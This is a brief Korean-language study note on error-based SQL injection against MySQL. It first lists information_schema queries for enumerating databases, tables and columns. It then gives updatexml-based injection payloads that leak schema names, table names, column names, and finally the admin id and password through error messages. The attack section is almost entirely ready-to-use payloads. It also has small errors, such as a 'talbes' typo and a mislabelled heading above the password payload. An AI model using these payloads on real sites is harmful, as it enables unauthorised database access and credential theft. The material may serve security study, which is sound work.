SQL Injection - Error Based

순차적 접근 방식

데이터 베이스 이름 확인

# 데이터 베이스 이름 확인
SELECT * FROM information_schema.schemata

SCHEMA_NAME

데이터 베이스 이름을 모아놓은 항목

 

데이터베이스 테이블 목록화

# 데이터베이스 테이블 목록화
SELECT * FROM information_schema.talbes;

TABLE_SCHEMA	데이터베이스 이름
TABLE_NAME	테이블 이름
COLUMN_NAME	컬럼 이름

 

'board'라는 데이터베이스에 들어있는 'table'이름들이 알고 싶을때

# 'board'라는 데이터베이스에 들어있는 'table'이름들이 알고 싶을때
SELECT table_name FROM information_schema.tables WHERE table_schema='board';

 

board라는 데이터 베이스에 있는 member이라는 테이블에 컬럼 이름을 알고 싶을 때

# board라는 데이터 베이스에 있는 member이라는 테이블에 컬럼 이름을 알고 싶을 때
SELECT column_name FROM information_schema.columns WHERE table_schema='board' and table_name='members';

 

board.members에 있는 모든 데이터 확인

# board.members에 있는 모든 데이터 확인
SELECT * FROM board.members;

 

 board.members에 id가 admin인 고객의 password 데이터 확인

#  board.members에 id가 admin인 고객의 password를 알아낼때
SELECT password FROM board.members WHERE id='admin';

 

비 순차적 접근 방식

데이터 베이스 이름 확인

# 데이터 베이스 이름 확인 - 더 이상 데이터 오류가 뜨지 않아야 끝
' and updatexml (0x0a,concat(0x0a,(SELECT SCHEMA_NAME FROM information_schema.schemata LIMIT 0,1)),0x0a) #
' and updatexml (0x0a,concat(0x0a,(SELECT SCHEMA_NAME FROM information_schema.schemata LIMIT 1,1)),0x0a) #
...

 

board 데이터 베이스 안에 있는 테이블 이름 확인

' and updatexml (0x0a,concat(0x0a,(SELECT TABLE_NAME FROM information_schema.tables WHERE table_schema='board' LIMIT 0,1)),0x0a) #
' and updatexml (0x0a,concat(0x0a,(SELECT TABLE_NAME FROM information_schema.tables WHERE table_schema='board' LIMIT 1,1)),0x0a) #

 

board 데이터 베이스의 members에 있는 컬럼 이름 확인

' and updatexml (0x0a,concat(0x0a,(SELECT COLUMN_NAME FROM information_schema.columns WHERE table_schema='board' LIMIT 0,1)),0x0a) #
' and updatexml (0x0a,concat(0x0a,(SELECT COLUMN_NAME FROM information_schema.columns WHERE table_schema='board' LIMIT 1,1)),0x0a) #

 

board 데이터 베이스의 members에 있는 id 첫번째 데이터 확인

' and updatexml (0x0a,concat(0x0a,(SELECT id FROM members LIMIT 0,1)),0x0a) #

 

board 데이터 베이스의 members에 있는 id 첫번째 데이터 확인

' and updatexml (0x0a,concat(0x0a,(SELECT password FROM members LIMIT 0,1)),0x0a) #